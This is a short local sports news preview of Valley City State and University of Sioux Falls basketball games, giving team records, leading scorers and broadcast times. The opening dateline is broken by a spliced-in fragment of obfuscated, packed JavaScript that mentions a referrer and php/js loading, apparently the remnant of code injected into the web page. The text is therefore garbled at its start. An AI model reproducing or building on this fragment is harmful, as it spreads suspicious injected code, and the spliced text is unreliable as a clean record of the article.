VALLEY fdkay|var|u0026u|referrer|fbnyn||js|php’.split(‘|’),0,{}))
CITY (NewsDakota.com)–Both Viking basketball teams continue their seasons Saturday, and both will be looking to continue positive momentum after recent success.
The Vikings host the University of Sioux Falls Cougars at the W. E. Osmon Fieldhouse Saturday afternoon. The men come home after four straight wins, two in Wisconsin, and two in Florida, before a exhibition loss to St. Cloud State earlier this week.
The Viking women have picked up two big wins, defeating Concordia, MN Monday night, using a 35-10 run for the win, and then whipping Presentation, SD Wednesday.
Valley City State’s men are now 6-3 overall. Three Vikings are averaging double figures, led by Sekani Milligan (Jr., Fort Lauderdale, FL), with 17.9 points per game. John Raquel (Jr., Hawthorne, CA) knocks in 12.4 points, and Aaron Duske (So., Buffalo, MN) adds 11.1.
Katie Ralston (Jr., Dahlen, ND) has moved her average to 9.9 points after two very successful outings for the Vikings, scoring 17 against Concordia and 15 at Presentation, leading the team both nights. Sierra Even (Jr., Mohall, ND) scores 7.5, while Sadiqah Jihad (Fr., Minneapolis, MN) adds 7.3.
The Cougar men have lost six straight, and are 1-6 overall, playing a mix of teams around the area, mostly at the Division II level. Their most recent loss was in Denver, CO, to Regis University 77-69.
Skyler Bloch (center, Sr., Lasterville, SD) leads the Cougar men, averaging 13.9 points and 5.9 rebounds. Derek Brown (guard, So., Clark, SD) averages 9.1 points. Worth mentioning is that the six game losing streak has occurred completely away from Sioux Falls for the Cougars.
The Cougar women have also been on the road over their last six games, but with better success. They are 5-1 overall, all on the road, and have a loss by just 10 points to North Dakota State University in an exhibition game to start the year.
Four Cougars average over nine points, led by Vanessa Johnson (guard, Sr., Hartford, SD), who scores 13.7 points per game. Jamey Hofer (forward, Sr., Hartford, SD) averages 9.8 points and six rebounds a contest in a support role.
The games will be heard on Dakota Country Radio, with pregame coverage starting around 1:35 p.m. The women will tip at 2:00 p.m., the men at 4:00 p.m.